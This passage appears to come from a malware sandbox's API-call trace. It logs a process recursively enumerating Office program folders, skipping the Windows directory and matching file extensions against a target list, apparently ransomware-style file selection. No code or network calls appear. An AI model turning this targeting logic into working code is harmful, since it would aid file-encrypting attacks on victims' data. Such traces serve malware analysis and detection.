ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SKY", cAlternateFileName="")) returned 1 [0248.834] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0248.834] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c609b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c609b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SLATE", cAlternateFileName="")) returned 1 [0248.834] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0248.834] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SONORA", cAlternateFileName="")) returned 1 [0248.834] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0248.834] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SPRING", cAlternateFileName="")) returned 1 [0249.010] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0249.010] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x28551719, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28551719, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="STRTEDGE", cAlternateFileName="")) returned 1 [0249.011] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0249.011] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="STUDIO", cAlternateFileName="")) returned 1 [0249.012] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0249.012] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SUMIPNTG", cAlternateFileName="")) returned 1 [0249.013] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0249.013] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="THEMES.INF", cAlternateFileName="")) returned 1 [0249.014] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0249.014] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="WATERMAR", cAlternateFileName="")) returned 1 [0249.015] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0249.015] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="WATERMAR", cAlternateFileName="")) returned 0 [0249.015] FindClose (in: hFindFile=0x6cfdc8 | out: hFindFile=0x6cfdc8) returned 1 [0249.015] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0249.015] FindNextFileW (in: hFindFile=0x6cfe48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0dcc568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSLAT", cAlternateFileName="")) returned 1 [0249.018] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0249.018] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc8aa06f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ENFR", cAlternateFileName="")) returned 1 [0249.020] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0249.020] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ESEN", cAlternateFileName="")) returned 1 [0249.021] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0249.021] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf63a12a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc91c74d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="FREN", cAlternateFileName="")) returned 1 [0249.030] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0249.030] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27cace65, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="MSB1CACH.LEX", cAlternateFileName="")) returned 1 [0249.031] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0249.031] FindNextFileW (in: hFindFile=0x6cfe48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8c279f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca8c279f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1 [0249.035] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0249.035] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8c279f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdb5e071a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x42d088, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 1 [0249.035] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0249.035] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf24004e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf24004e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="VBA7.1", cAlternateFileName="")) returned 0 [0249.035] FindClose (in: hFindFile=0x6cfd48 | out: hFindFile=0x6cfd48) returned 1 [0249.035] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0249.035] FindNextFileW (in: hFindFile=0x6cfe48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52ea133, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x52ea133, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x52ea133, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio Shared", cAlternateFileName="VISIOS~1")) returned 1 [0249.476] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0249.480] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52ea133, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x62b5b1e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x62b5b1e, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="Fonts", cAlternateFileName="")) returned 0 [0249.481] FindClose (in: hFindFile=0x6cf6c8 | out: hFindFile=0x6cf6c8) returned 1 [0249.486] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0249.486] FindNextFileW (in: hFindFile=0x6cfe48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1 [0249.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions") returned 103 [0249.489] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions") returned 1 [0249.489] lstrlenW (lpString="Web Server Extensions") returned 21 [0249.489] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Web Server Extensions") returned -1 [0249.490] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4215da0 [0249.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions") returned 103 [0249.490] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\*", lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x6cfa08 [0249.490] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0249.490] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="16", cAlternateFileName="")) returned 1 [0249.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16") returned 106 [0249.490] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16") returned 1 [0249.490] lstrlenW (lpString="16") returned 2 [0249.490] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="16") returned 1 [0249.490] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0249.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16") returned 106 [0249.490] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\*", lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6cfa48 [0249.490] FindNextFileW (in: hFindFile=0x6cfa48, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.490] FindNextFileW (in: hFindFile=0x6cfa48, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca27806, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 1 [0249.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\BIN") returned 110 [0249.491] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\BIN") returned 1 [0249.491] lstrlenW (lpString="BIN") returned 3 [0249.491] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="BIN") returned 1 [0249.491] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0249.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\BIN") returned 110 [0249.491] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\*", lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca27806, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x6cfd48 [0249.491] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca27806, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0249.491] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca27806, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xca27806, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0249.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\1033") returned 115 [0249.491] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\1033") returned 1 [0249.491] lstrlenW (lpString="1033") returned 4 [0249.491] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="1033") returned 1 [0249.491] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0249.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\1033") returned 115 [0249.491] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\1033\\*", lpFindFileData=0x2e8e420 | out: lpFindFileData=0x2e8e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca27806, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xca27806, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6cfdc8 [0249.491] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8e420 | out: lpFindFileData=0x2e8e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca27806, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xca27806, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.491] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8e420 | out: lpFindFileData=0x2e8e420*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca27806, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xca27806, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x29b77, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 1 [0249.491] lstrlenW (lpString="FPEXT.MSG") returned 9 [0249.491] lstrlenW (lpString=".1cd") returned 4 [0249.491] lstrcmpiW (lpString1=".1cd", lpString2=".MSG") returned -1 [0249.491] lstrlenW (lpString=".3ds") returned 4 [0249.492] lstrcmpiW (lpString1=".3ds", lpString2=".MSG") returned -1 [0249.492] lstrlenW (lpString=".3fr") returned 4 [0249.492] lstrcmpiW (lpString1=".3fr", lpString2=".MSG") returned -1 [0249.492] lstrlenW (lpString=".3g2") returned 4 [0249.492] lstrcmpiW (lpString1=".3g2", lpString2=".MSG") returned -1 [0249.492] lstrlenW (lpString=".3gp") returned 4 [0249.492] lstrcmpiW (lpString1=".3gp", lpString2=".MSG") returned -1 [0249.492] lstrlenW (lpString=".7z") returned 3 [0249.492] lstrcmpiW (lpString1=".7z", lpString2="MSG") returned -1 [0249.492] lstrlenW (lpString=".accda") returned 6 [0249.492] lstrcmpiW (lpString1=".accda", lpString2="XT.MSG") returned -1 [0249.492] lstrlenW (lpString=".accdb") returned 6 [0249.492] lstrcmpiW (lpString1=".accdb", lpString2="XT.MSG") returned -1 [0249.492] lstrlenW (lpString=".accdc") returned 6 [0249.492] lstrcmpiW (lpString1=".accdc", lpString2="XT.MSG") returned -1 [0249.492] lstrlenW (lpString=".accde") returned 6 [0249.492] lstrcmpiW (lpString1=".accde", lpString2="XT.MSG") returned -1 [0249.492] lstrlenW (lpString=".accdt") returned 6 [0249.492] lstrcmpiW (lpString1=".accdt", lpString2="XT.MSG") returned -1 [0249.492] lstrlenW (lpString=".accdw") returned 6 [0249.492] lstrcmpiW (lpString1=".accdw", lpString2="XT.MSG") returned -1 [0249.492] lstrlenW (lpString=".adb") returned 4 [0249.492] lstrcmpiW (lpString1=".adb", lpString2=".MSG") returned -1 [0249.492] lstrlenW (lpString=".adp") returned 4 [0249.492] lstrcmpiW (lpString1=".adp", lpString2=".MSG") returned -1 [0249.492] lstrlenW (lpString=".ai") returned 3 [0249.492] lstrcmpiW (lpString1=".ai", lpString2="MSG") returned -1 [0249.492] lstrlenW (lpString=".ai3") returned 4 [0249.492] lstrcmpiW (lpString1=".ai3", lpString2=".MSG") returned -1 [0249.492] lstrlenW (lpString=".ai4") returned 4 [0249.492] lstrcmpiW (lpString1=".ai4", lpString2=".MSG") returned -1 [0249.492] lstrlenW (lpString=".ai5") returned 4 [0249.492] lstrcmpiW (lpString1=".ai5", lpString2=".MSG") returned -1 [0249.492] lstrlenW (lpString=".ai6") returned 4 [0249.492] lstrcmpiW (lpString1=".ai6", lpString2=".MSG") returned -1 [0249.492] lstrlenW (lpString=".ai7") returned 4 [0249.492] lstrcmpiW 